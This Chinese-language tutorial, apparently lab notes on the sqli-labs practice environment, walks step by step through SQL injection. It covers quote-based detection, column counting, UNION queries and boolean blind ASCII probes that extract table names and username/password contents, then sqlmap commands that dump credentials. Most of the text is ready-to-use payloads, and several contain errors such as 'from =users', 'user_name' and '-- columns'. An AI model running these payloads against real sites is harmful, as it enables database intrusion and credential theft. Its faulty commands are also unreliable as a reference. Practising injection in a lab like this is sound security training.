一.原理:
字符型sql注入:
select * from users where id=’_’;
输入:1’ and ‘1’=’1
select * from users where id=’1’ and ‘1’=’1’; 语句正确
输入:1’ and ‘1’=’2
select * from users where id=’1’ and ‘1’=’2’; 语句不正确
说明用户输入的语句没有被经过过滤就直接插入到了查询语句中。
实验环境:sqli-labs
二、实验过程
进入web页面
请输入ID作为带数值的参数
输入:?id=1
第一步:判断是否存在sql注入
最为经典的单引号判断法:
在参数后面加上单引号,比如: http://xxx/abc.php?id=1' 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
字符型:select * from users where id=’1’’;
整型: select *from users where id=1’;
判断sql注入类型
判断方式:输入?id=1 and 1=1 不报错
?id=1 and 1=2 报错 存在数字型注入
输入?id=’1 and ‘1’=’1 不报错
?id=’1 and ‘1’=’2 报错 存在字符型注入
判断闭合方式:
?id=1’ ?id=1” 都报错,数字型注入
?id=1’ 报错 ?id=1” 不报错
?id=1’--+ 不报错 ‘闭合
报错 ‘)闭合
?id=1"报错 ?id=1’ 不报错
?id=1"--+ 不报错 "闭合
报错 ")闭合
发现该页面存在字符型sql注入。
第三步:判断列数
输入:?id=‘1 order by (数字) --+
?id=1’ order by 3 --+
?id=1’ order by 4 --+ 报错,说明表格有3列
第四步:联合注入
?id=-1’ union select 1,2,3 --+
判断显示在页面中的是哪几列
发现显示在页面中的是2,3列
第五步:获取当前数据库名
?id=-1’ union select 1,2,database() --+
发现页面数据在是security库中
第六步:查询库中有哪些表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
发现该库中存在emails refers uagents users表
第七步:查看user表中的字段名
?id=-1' union select 1,2,concat(column_name) from information_schema.columns where table_name='users'--+
发现敏感字段 username password
第八步:获取username和password内容
?id=-1' union select 1,2,group_concat(user_name,id,password) from =users--+
布尔盲注(Boolean):
页面没有回显位
输入:?id=1’ and ‘1’=’1 页面没有报错
输入:?id=1’ and ‘1’=’2 页面报错
通过判断,发现是字符型注入
第一步:判断数据库名长度
?id=1’ and length(database())>8--+
发现数据库名长度大于9个字符
?id=1' and length(database())=8--+ 发现数据库名长度为8个字节
第二步:判断数据库名第一个字符的ascii码
?id=1’ and ascii(substr(database(),1,1))=115--+
页面没有报错,说明数据库名第一个字符的ascii码为115,字符为s。
或者使用
?id=1’ and substr(database(),1,1)=’s’--+
可判断出数据库名为security
第三步:判断security库中所有表名。得到emails referers uagents users
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1--+
select table_name from information_schema.tables where table_schema='security' limit 0,1
security库中的第一个表名
第四步:判断user表中的字段。得到字段 id username password
?id=1'and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>9--+
?id=1'and ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name='users' limit 0,1),1,1))>9--+
(select column_name from information_schema.columns where table_schema=’security’ and table_name='users' limit 0,1)
security库下的users表中第一个字段名
第五步:判断字段的内容
?id=1'and ascii(substr((select username from users limit 0,1),1,1))>99--+
(select username from users limit 0,1)
在username这个字段的内容的第一行
三、sql注入工具:sqlmap
- 猜解能否注入
命令:sqlmap -u "目标url"
获取当前数据库名命令:sqlmap -u "目标url" --current-db
2.爆表名
命令:sqlmap -u "目标url" --tables -D "security"
3.根据表名爆字段名
命令:sqlmap -u "目标url" -- columns -T "users" -D "security"
4.根据字段爆内容
命令:sqlmap -u "目标url" --dump -C "username,password "-T "users" -D "security"
这些命令只是sqlmap中最基础最简单的命令,sqlmap是一款非常强大的sql注入工具,里面集成了很多脚本工具,需要多学多用才能更好的掌握。